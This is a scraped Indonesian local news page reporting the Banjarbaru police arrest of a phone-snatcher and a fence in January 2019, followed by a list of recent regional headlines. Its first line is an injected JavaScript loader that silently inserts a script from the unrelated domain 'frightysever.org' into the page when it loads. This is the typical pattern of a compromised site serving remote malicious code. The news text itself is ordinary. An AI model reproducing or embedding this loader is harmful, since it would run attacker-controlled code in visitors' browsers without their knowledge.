(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Pelaku Jambret di Depan Hotel Ratu Elok Diringkus


BANJARBARU, Satuan Reserse Kriminal Polres Banjarbaru meringkus seorang penjambret yang biasa beraksi di wilayah perkotaan bersama terduga seorang penadah, Senin (22/1).

Pelaku ini biasa beraksi pada malam hari dan meresahkan warga Banjarbaru. Pelaku jambret berinisial MR (27) dan penadahnya berinisial KA (29), keduanya warga Kelurahan Bangkal, Kecamatan Cempaka. MR selaku eksekutor berperan mencari korban dan melakukan perampasan.

Kapolres Banjarbaru AKBP Kelana Jaya SIK MH melalui Kasat Reskrim Polres Banjarbaru AKP Aryansyah mengatakan, penangkapan pelaku jambret dan penadah itu berdasarkan dari Laporan Polisi Nomor : LP/ 25 / I / 2019 / KALSEL / RES Bjb, pada 21 Januari 2019 tentang tindak pidana pencurian dengan pemberatan.

AKP Aryansyah menambahkan, kronologis kejadian pada saat pelapor dan temannya melintas menggunakan sepada motor Honda Beat di Jalan Mistar Cokrokusumo, Kelurahan Sugai Besar, Kecamatan Banjarbaru Selatan -depan hotel Ratu Elok Banjarbaru- pelapor mengeluarkan HP miliknya, kemudian datang pelaku berjumlah 2 orang dari arah belakang menggunakan sepeda motor Yamaha Jupiter MX merah dan langsung mengambil HP milik korban langsung kabur.

Dijelaskan Kasat Reskrim, dua pelaku diamankan tanpa perlawanan di rumahnya masing-masing.

“Saat diintrogasi pelaku berinisial MR mengakui baru pertama kali melakukan aksi jambret,” kata Kasat Reskrim Polres Banjarbaru AKP Aryansyah.

Untuk pelaku MR (27) dikenakan pasal 363 KUHP tentang tindak pidana pencurian dengan pemberatan dengan ancaman kurungan penjara maksimal 7 tahun penjara, sedangkan KA (29) dijerat dengan pasal 480 KUHP tentang penadah dengan ancaman hukuman kurungan penjara maksimal 4 tahun. (rico)

Reporter:Rico
Editor:Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

3 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

4 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

4 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

6 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

12 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.